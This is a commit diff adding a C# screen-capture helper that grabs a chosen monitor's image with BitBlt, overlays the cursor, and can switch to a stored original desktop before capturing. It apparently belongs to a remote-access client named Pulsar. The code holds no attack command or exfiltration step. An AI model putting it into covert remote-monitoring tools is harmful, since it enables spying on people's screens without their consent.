initial commit

2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
@@ -0,0 +1,149 @@
+using Pulsar.Client.Config;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace Pulsar.Client.Helper
+{
+    public static class ScreenHelperCPU
+    {
+        private const int SRCCOPY = 0x00CC0020;
+        private const int CURSOR_SHOWING = 0x00000001;
+        private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO));
+
+        [StructLayout(LayoutKind.Sequential)]
+        public struct POINT
+        {
+            public int X;
+            public int Y;
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        public struct CURSORINFO
+        {
+            public int cbSize;
+            public int flags;
+            public IntPtr hCursor;
+            public POINT ScreenPosition;
+        }
+
+        [DllImport("user32.dll")]
+        [return: MarshalAs(UnmanagedType.Bool)]
+        private static extern bool GetCursorInfo(out CURSORINFO pci);
+
+        [DllImport("user32.dll")]
+        private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
+
+        [DllImport("gdi32.dll")]
+        private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
+
+        [DllImport("gdi32.dll")]
+        private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
+
+        [DllImport("gdi32.dll")]
+        private static extern bool DeleteDC(IntPtr hdc);
+
+        [DllImport("user32.dll", SetLastError = true)]
+        private static extern bool SetThreadDesktop(IntPtr hDesktop);        
+        
+        public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false)
+        {
+            if (setThreadPointer)
+            {
+                SetThreadDesktop(Settings.OriginalDesktopPointer);
+            }
+
+            Rectangle bounds = GetBounds(screenNumber);
+            Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
+
+            using (Graphics g = Graphics.FromImage(screen))
+            {
+                IntPtr destDeviceContext = g.GetHdc();
+                using (var srcDeviceContext = new DeviceContext("DISPLAY"))
+                {
+                    BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY);
+                    DrawCursor(destDeviceContext, bounds);
+                }
+                g.ReleaseHdc(destDeviceContext);
+            }
+
+            return screen;
+        }
+
+        private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds)
+        {
+            var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize };
+            if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING)
+            {
+                DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor);
+            }
+        }
+
+        public static Rectangle GetBounds(int screenNumber)
+        {
+            var rects = DisplayManager.GetAllMonitorRects();
+            if (screenNumber < 0 || screenNumber >= rects.Count)
+                throw new ArgumentOutOfRangeException(nameof(screenNumber));
+            var r = rects[screenNumber];
+            return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top);
+        }
+
+        private class DeviceContext : IDisposable
+        {
+            public IntPtr Handle { get; }
+
+            public DeviceContext(string deviceName)
+            {
+                Handle = CreateDC(deviceName, null, null, IntPtr.Zero);
+            }
+
+            public void Dispose()
+            {
+                DeleteDC(Handle);
+            }
+        }
+    }
+    public class DisplayManager
+    {
+        [DllImport("user32.dll")]
+        public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData);
+
+        public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData);
+
+        [StructLayout(LayoutKind.Sequential)]
+        public struct Rect
+        {
+            public int left;
+            public int top;
+            public int right;
+            public int bottom;
+        }
+
+        public static int GetDisplayCount()
+        {
+            int count = 0;
+            EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
+                (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
+                {
+                    count++;
+                    return true;
+                }, IntPtr.Zero);
+            return count;
+        }
+
+        public static List<Rect> GetAllMonitorRects()
+        {
+            var rects = new List<Rect>();
+            EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
+                (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
+                {
+                    rects.Add(lprcMonitor);
+                    return true;
+                }, IntPtr.Zero);
+            return rects;
+        }
+    }
+}